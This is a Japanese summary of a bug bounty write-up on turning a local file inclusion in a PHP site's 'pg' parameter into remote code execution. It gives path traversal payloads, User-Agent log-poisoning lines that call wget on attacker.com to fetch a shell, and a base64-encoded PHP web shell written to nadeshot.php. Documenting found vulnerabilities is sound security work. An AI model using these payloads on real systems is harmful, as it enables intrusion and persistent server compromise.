Hello there, ('ω')ノ
+20000ユーザのWebサイトでLFIをRCEに活用を。
脆弱性:
LFI
RCE
記事:
https://infosecwriteups.com/leveraging-lfi-to-rce-in-a-website-with-20000-users-129050f9982b
ツール:
Burp Suite
LFIの脆弱性を見つける方法は。
ウェブサイトを閲覧して、興味深いエンドポイントを。
見つけることができるかどうかを確認することに。
Contact Usをクリックすると、興味深いエンドポイントにつながって。
https://www.website.com/index.php?pg=contact.php
pgパラメータをファジングし始めると。
次のペイロードを使用してLFIが可能であることがわかって。
https://www.website.com/index.php?pg=../../../../etc/passwd
LFIからRCEへ影響を拡大するために。
考えられるすべての既知の手法を使用して、LFIの脆弱性をRCEにエスカレートすると。
/proc/self/environが読み取り可能であることがわかったので。
次のコードを入力すると情報が漏洩します。
https://www.website.com/index.php?pg=../../../../proc/self/environ
出力を分析すると、/proc/self/environの下にあるファイルに。
HTTP_USER_AGENTなどのいくつかの環境変数が含まれていることがわかったので。
Burp Suiteを起動して、User-Agentの値を変更してリクエストを送信することに。
次の値をUser-Agentに追加してみることに。
system()を試したものの、RCEはなし:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
exec()を試したものの、RCEはなし:
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
phpinit()を試したものの、失敗:
User-Agent: <?php phpinfo(); ?>
サーバ内にファイルを書き込んでみることができるのを忘れていたので。
次のペイロードを試すことに。
User-AgentHTTPヘッダで使用するペイロードを作成することに。
User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>
使用したペイロードの説明:
Webシェルはbase64でエンコードされ、変数に格納されて。
$a = base64_decode('webshell_base64_encoded_code_here');
これの元のwebshellphpコードは下記からもので。
https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php
その後、nadeshot.phpという名前のファイルを書き込むようにサーバに指示して。
$file = fopen('nadeshot.php','w');
次に、サーバはコード(デコードされたbase64)をnadeshot.phpに書き込んで。
echo fwrite($file,$a);
次に、サーバはファイルを保存して。
fclose($file);
それでは、このペイロード全体をBurp Suiteで実行してみて。
何が起こるか見てみると、Response 200(OK)を取得して。
https://website.com/nadeshot.phpにアクセスして。
ペイロードが正常に実行されたかどうかを確認すると。
webshellがアップロードされて。
webshellは、/nadeshot.phpにアップロードされたので。
簡単なnadeshot.txtファイルを作成して、機能するかどうかを確認することに。
nadeshot.txtという名前のテキストファイルを作成し、「Write」をクリックして。
https://website.com/nadeshot.txtにアクセスすると。
テキストファイルが表示されたので。
LFIからRCEへの影響を増やすことに成功して。
Best regards, (^^ゞ